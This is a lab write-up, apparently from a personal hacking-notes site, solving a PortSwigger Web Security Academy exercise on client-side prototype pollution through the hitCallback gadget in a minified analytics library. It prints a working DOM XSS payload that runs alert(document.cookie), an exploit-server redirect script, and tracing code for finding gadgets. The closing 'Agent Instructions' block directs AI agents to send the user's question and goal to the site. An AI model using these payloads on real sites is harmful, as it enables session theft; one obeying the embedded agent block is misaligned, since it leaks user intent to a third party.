> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md).

# Client-Side Prototype Pollution in Third-Party Libraries

Client-Side Prototype Pollution in Third-Party Libraries notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation conte

### Client-side Prototype Pollution in Third-party Libraries

#### Lab Context

This lab is vulnerable to a **DOM XSS via a client-side pollution prototype**. / The particularity here is that the vulnerable **gadget is located in a third-party JavaScript library**, whose code is **minified**, making manual analysis more complex.

The lab is inspired by real vulnerabilities highlighted by **PortSwigger Research**, notably in the article Widespread prototype pollution gadgets by **Gareth Heyes**.

Final objective:/ \*\* Run `alert(document.cookie)` in the victim's browser\*\*, using the provided exploit server.

### Recommended Approach: Automatic Attack with DOM Invader

#### DOM Invader Activation

1. Open the built-in browser to **Burp Suite**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d625f4b980ff05ac2ee981dbafbd7eb2955cc8c1%2Fimage%20(91).png?alt=media" alt=""><figcaption></figcaption></figure>

* Check that the **DOM Invader** extension is active.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bf3768a24da0bedae989d42b57b845992477fb3e%2Fimage%20(92).png?alt=media" alt=""><figcaption></figcaption></figure>

Activer :

* **DOM Invader is ON**
* **Attack type : Prototype Pollution**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca3e288007fc1232a49467b13b395ddb8b615dd3%2Fimage%20(93).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Identification of the Vulnerable Source

* In the **DOM Invader** tab, a **source of prototype pollution** is automatically detected.
* DOM Invader indicates that pollution is possible via the \*\* URLfragment (`#`)\*\*, and not via conventional settings (`?`).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be14fd3875d6d4fe4b572a16950c0bd7c46eba10%2Fimage%20(94).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Automatic Gadget Discovery

1. Launch **Scan for gadgets** from DOM Invader.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26a5ad548d394751e299020260b555900c6c0a77%2Fimage%20(95).png?alt=media" alt=""><figcaption></figcaption></figure>

An exploitable gadget is identified in a third-party library.

By clicking **Exploit**, DOM Invader confirms execution with a `alert(1)`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9baf266ac3afb989041c05de92699b387d04716%2Fimage%20(97).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1f10f97924c33e1f7586165ca87e2455b7fd2fba%2Fimage%20(96).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Payload Final (document.cookie)

Payload identified by DOM Invader:

```javascript
#constructor[prototype][hitCallback]=alert%28document.cookie%29
```

This payload triggers the alert containing cookies

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1e2db01e09fe312bd5961de76267f51da4e81d1c%2Fimage%20(98).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Delivery of Exploit to the Victim

The following code is sent with the **server operating**:

```javascript
<script>
    window.location.href = 'https://0aab001004b09f5780ab035a00c40034.web-security-academy.net/#constructor[prototype][hitCallback]=alert%28document.cookie%29';
</script>
```

When the victim loads the page, JavaScript is executed in its browser

### Manual Approach (detailed Analysis)

#### Conventional Pollution Attempts (failure)

The following payloads \*\* do not work\*\*:

```bash
/?__proto__[foo]=bar
/?__proto__.foo=bar
```

Result

```javascript
console.log({}.foo); // undefined
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb18e5d6bd87b621ba306bac8b703fd99dff75c6%2Fimage%20(99).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Pollution via URL Fragment (success)

However, the pollution \*\* works with `#`\*\*:

```javascript
#__proto__[foo]=bar
#__proto__.foo=bar
```

This indicates that the vulnerable source consumes the URL fragment

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bf6a41e16ee7930c805d3e349f8a834c9063f2b2%2Fimage%20(100).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### Third-party Library Analysis

* A large file is loaded:

/resources/js/ga.js

About 3000 lines, minified code.

* This file contains a callback called hitCallback, used without strict verification.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f5e14d7e1ab8b6397b92cf54df121d6dd0e4aa1%2Fimage%20(101).png?alt=media" alt=""><figcaption></figcaption></figure>

### Manual Gadget Identification

#### Tracing Technique with `Object.defineProperty`

To find the properties read on `Object.prototype`, we inject:

```javascript
Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

#### Stopping JavaScript Execution

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b582d901a85abad50fcc84cb6a0fc5a59043dbf0%2Fimage%20(102).png?alt=media" alt=""><figcaption></figcaption></figure>

By intercepting the HTML response, we inject:

```javascript
<script>
    debugger;
</script>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6e976a509e7be5eb20a86283701c0bfcf012439%2Fimage%20(103).png?alt=media" alt=""><figcaption></figcaption></figure>

The browser stops on \*\*

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ecdbf4daf035d06b83dba3906bdd872d457da9a0%2Fimage%20(104).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Test of Candidate Properties

Example with untapped property

```javascript
Object.defineProperty(Object.prototype, 'anonymizeIp', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

No interesting trace.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cd7aed72f01a1de55bf34000bc8eeff781fc8403%2Fimage%20(106).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-75f0885f74f91535d29eeb377b4383e5897697ab%2Fimage%20(105).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Valid Gadget Discovery: `hitCallback`

```javascript
Object.defineProperty(Object.prototype, 'hitCallback', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

Outcome:

* `console.trace()` reveals a string of calls from `ga.js`
* The property is well **read and executed as function**

This behavior confirms that `hitCallback` is invoked as JavaScript callback

```javascript
console.trace() debugger eval code:3:17
    get debugger eval code:3
    get https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Vc https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
    j https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Fa https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:63
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    O https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:36
    push https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:33
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    Fe https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0b15979f40594902557c9c3362316d0bc94d5e8%2Fimage%20(107).png?alt=media" alt=""><figcaption></figcaption></figure>

This behavior confirms that `hitCallback` is invoked as JavaScript callback

```javascript
Uncaught ReferenceError: polluted is not defined
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11dd93280be32ce207a0f9af097ba6a18d6ef6c0%2Fimage%20(108).png?alt=media" alt=""><figcaption></figcaption></figure>

* The `hitCallback` gadget allows an arbitrary \*\* JavaScript execution\*\*, leading to a **DOM XSS**.

```javascript
Zc.prototype.stopPropagation = function () {
      throw 'aborted';
    };
    var Vc = function (a) {
      var b = this;
      this.fb = 0;
      var c = a.get(tc);
      this.Ua = function () {
        0 < b.fb &&
        c &&
        (b.fb--, b.fb || c())
      };
      this.Ja = function () {
        !b.fb &&
        c &&
        setTimeout(c, 10)
      };
      a.set(uc, b, !0)
    };
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fc5d88453913b109956a694199f787e312a9cf6b%2Fimage%20(109).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
